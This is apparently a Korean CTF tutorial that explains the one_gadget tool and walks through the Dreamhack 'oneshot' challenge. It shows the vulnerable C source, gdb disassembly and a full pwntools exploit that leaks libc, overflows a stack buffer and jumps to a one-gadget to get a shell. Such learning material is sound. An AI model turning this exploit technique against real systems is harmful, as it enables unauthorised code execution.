one gadget 또는 One-shot gadget은 셸 획득을 쉽게 하기 위해 사용되는 도구이다.
one gadget은 glibc 기반 리눅스 환경에서만 사용 가능하다. 해당 도구를 사용하면 glibc 파일에서 execve("/bin/sh", NULL, NULL) 혹은 그와 비슷한 동작을 수행하는 코드 패턴을 자동으로 찾아주는 도구이다.
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
위는 리눅스에서 주로 사용되는 libc.so.6 파일에 one gadget 도구를 사용한 결과이다. 저런 식으로 결과가 여러 개 뜰 수 있는데 그 중 맨 위에 있는 결과를 예시로 살펴보자.
'0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)' 여기서 posix_spawn 함수는 execve 함수랑 비슷하게 프로세스를 실행시키는 함수고, 0x583ec는 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)의 오프셋 주소이다. 'constraints:' 밑에 있는 부분들은 해당 함수를 호출하기 위한 조건이라고 보면 된다. posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ) 함수를 호출하기 위해서는 총 4가지의 조건을 모두 만족시켜야 한다.
[*] '/home/pdh/oneshot/oneshot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
위 코드는 위는 Dreamhack - oneshot 문제에서 제공하는 'oneshot.c' 코드이다. 위 코드를 먼저 분석해보자.
read(0, msg, 46)으로 입력 받을 때는 46까지 입력받는다. 즉, 버퍼 오버플로우 취약점이 있다. 0x0000000000000a91 <+80>: lea rax,[rbp-0x20]
0x0000000000000a95 <+84>: mov edx,0x2e
0x0000000000000a9a <+89>: mov rsi,rax
0x0000000000000a9d <+92>: mov edi,0x0
0x0000000000000aa2 <+97>: call 0x830 <read@plt>
0x0000000000000aa7 <+102>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000000aac <+107>: je 0xab8 <main+119>
0x0000000000000aae <+109>: mov edi,0x0
0x0000000000000ab3 <+114>: call 0x870 <exit@plt>
위는 'msg' 변수에 값을 입력하는 부분과 'check' 변수 값을 확인하고, 조건문을 실행하는 부분을 gdb로 확인한 디스어셈블링 코드이다.

'msg' 변수는 16bytes로 정의되어 있다는 걸 상기하면서 생각해보면 위와 같은 구조를 이루고 있다는 것을 알 수 있다. 'oneshot.c' 코드에서 'check' 변수가 0이 아니면 exit 함수를 실행하도록 되어 있기 때문에 'check' 부분은 0으로 맞춰 주어야 한다.('check' 변수가 size_t로 정의 되었기 때문에 음수는 들어갈 수 없다.)
from pwn import *
p = remote('서버명', 포트 번호)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
#libc 주소 릭
p.recvuntil(b'stdout: ')
addr = int(p.recvline()[:-1], 16)
libc_base = addr - libc.symbols["_IO_2_1_stdout_"]
one_gadget = libc_base + 0x45216
buf = b'A' * 24
check = b'\x00' * 8
payload = buf + check + (b'B' * 8) + p64(one_gadget)
p.sendafter(b'MSG: ', payload)
p.interactive()